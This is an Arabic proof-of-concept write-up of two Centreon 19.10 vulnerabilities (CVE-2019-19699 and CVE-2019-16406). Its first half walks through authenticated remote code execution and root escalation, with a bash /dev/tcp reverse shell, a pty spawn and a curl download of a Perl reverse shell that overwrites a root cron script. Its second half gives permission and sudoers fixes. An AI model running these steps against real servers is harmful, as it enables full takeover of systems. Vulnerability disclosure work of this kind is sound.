
Centreon =<19.10 تنفيذ تعليمات برمجية عن بُعد بعد المصادقة
إثبات المفهوم
اكتشف بواسطة:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
تنفيذ الأوامر عن بعد مع المصادقة:
لنبدأ بتسجيل الدخول كمستخدم Admin إلى لوحة تحكم Centreon الويب.
بعد تسجيل الدخول، ننتقل إلى Configuration > Commands > Miscellaneous
تقدم بالنقر على Add كما هو موضح في الصورة أدناه.
نقوم الآن بإنشاء reverse shell bash كأمر Miscellaneous خاص بنا
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
ونضغط Save
الآن ننتقل إلى Configuration > Pollers ونضغط على المجمع Central الحالي
هذا يعطينا الوصول إلى قائمة تعديل تكوين المجمع (Modify a poller Configuration)
هنا يمكننا التمرير لأسفل، وتعيين أمر بعد إعادة التشغيل (Post-restart command)
تقدم باختيار reverse shell الذي أنشأناه سابقًا، وانقر على زر Save
يمكننا الآن المتابعة عن طريق تشغيل مستمع Netcat على جهازنا المحلي
أخيرًا، نضغط على زر Export configuration في قائمة Configuration > Pollers
اختر المجمع Central الخاص بنا من مربع القائمة المنسدلة Pollers
قم بإلغاء تحديد خانات الاختيار Generate Configuration Files و Run monitoring engine debug (-v)
حدد خانات الاختيار Restart Monitoring Engine و Post generation command
اختر Restart في مربع القائمة المنسدلة Method
عند النقر على Export، سيتم إعادة تشغيل المجمع، وبالتالي تنفيذ أمر ما بعد إعادة التشغيل الذي قمنا بتكوينه سابقًا هذه هي اللحظة التي سيحصل فيها مستمع reverse shell الخاص بنا على اتصال
تم بنجاح تنفيذ الأوامر عن بعد مع المصادقة!
(كان هذا الشرح لـ CVE-2019-19699)_
من هنا ننتقل إلى الحصول على صلاحيات Root
سنستخدم CVE-2019-16406 التي اكتشفها TheCyberGeek لاختراق خادم Centreon =< 19.10 بالكامل
لنبدأ بإنشاء قشرة TTY في محطة reverse shell الحالية
python -c 'import pty; pty.spawn("/bin/sh")'
الآن نلقي نظرة على المهام المجدولة (cron) الموجودة من خلال cat /etc/cron.d/
نرى الآن أن centreon_autodisc.pl هي مهمة Cron
(تم تعيينها من 30 22 * * * root إلى * * * * * root لأغراض توضيحية)
يتم تنفيذ هذا الأمر كـ Root، دعنا نستبدل ملف centreon_autodisco.pl بـ reverse shell بلغة Perl
يمكن تنزيل قشرة Perl التي سأستخدمها من هنا
قم بتنزيل الـ reverse shell، وقم بتعديل عنوان IP و المنفذ إلى عنوانك كما هو موضح في صفحة الويب
قم بتنفيذ أمر mv لإعادة تسمية ملف perl-reverse-shell.pl إلى centreon_autodisco.pl محليًا
لنبدأ الآن بتشغيل خادم SimpleHTTPServer محلي على منفذ من اختيارك
بهذه الطريقة، يمكننا استخدام curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl لاستبدال ملف centreon_autodisco.pl الحالي بقشرة Perl الخادعة الخاصة بنا
الآن تم استبدال الملف، كل ما تبقى هو تشغيل مستمع Netcat على المنفذ الذي قمنا بتكوينه مسبقًا، وسنحصل على اتصال عائد من الخادم كمستخدم Root!
تم بنجاح الوصول إلى النظام بصلاحيات Root!
الآن إلى الملاحظات حول كيفية اعتقادنا أنه يجب علاج رفع الصلاحيات!
الإعدادات الحالية في الإصدار 19.10:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
صلاحيات الملفات:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
العلاج لـ /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
كما ترى، أصبح الملف مملوكًا لـ Root، مجموعة apache يمكنها القراءة والتنفيذ فقط، وcentreon يمكنها التنفيذ فقط، وبالتالي لا يؤثر على الوظائف.
مثال:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied ولكن apache لا يزال بإمكانه تنفيذه.
العلاج لـ /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
كما ترى، أصبح الملف مملوكًا لـ Root، مجموعة apache يمكنها القراءة والتنفيذ فقط، وcentreon يمكنها التنفيذ فقط، وبالتالي لا يؤثر على الوظائف.
مثال:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied ولكن apache لا يزال بإمكانه تنفيذه.
العلاج لـ /usr/lib/centreon/plugins/cwrapper_perl
استخدم أوامر sudo لتحديد نصوص معينة تحتاج إلى تنفيذها من قبل كل مستخدم.
جعل root يملك كل نص Perl بحيث لا يمكن للمستخدمين تغيير أو استبدال النص لرفع الصلاحيات.
chmod 755 /usr/lib/centreon/plugins/cwrapper_perl
ls -la /usr/lib/centreon/plugins/cwrapper_perl
-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
الآن لم يعد بإمكان المستخدمين تغيير أو استبدال النص!
مثال:
cat /etc/sudoers
...
## السماح لـ root بتشغيل أي أوامر في أي مكان
root ALL=(ALL) ALL
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl
...
---نهاية ملف sudoers---
ls -la example_script1.pl
-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl
ls -la examle_scripts1.pl
-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl
لا يزال بإمكان المستخدمين تنفيذ النصوص اللازمة ولا يمكن تغيير النصوص بواسطة apache أو centreon وبالتالي القضاء على التهديد الأمني تمامًا فيما يتعلق برفع الصلاحيات.
إذا تمكن المهاجم من الدخول إلى الجهاز الآن، فإن السيطرة الكاملة على الجهاز ستكون صعبة للغاية أو مستحيلة ما لم يتم اكتشاف المزيد من التهديدات.
بالنسبة لمستخدم Centreon، كان رفع الصلاحيات الوحيد الذي وجدناه هو cwrapper للـ perl، لذلك إذا تم تنفيذ أمر ما بعد إعادة التشغيل بواسطة مستخدم centreon وحصل المهاجم على قشرة كمستخدم centreon، فلن يتبقى أي سطح هجوم تقريبًا.
شكرًا للقراءة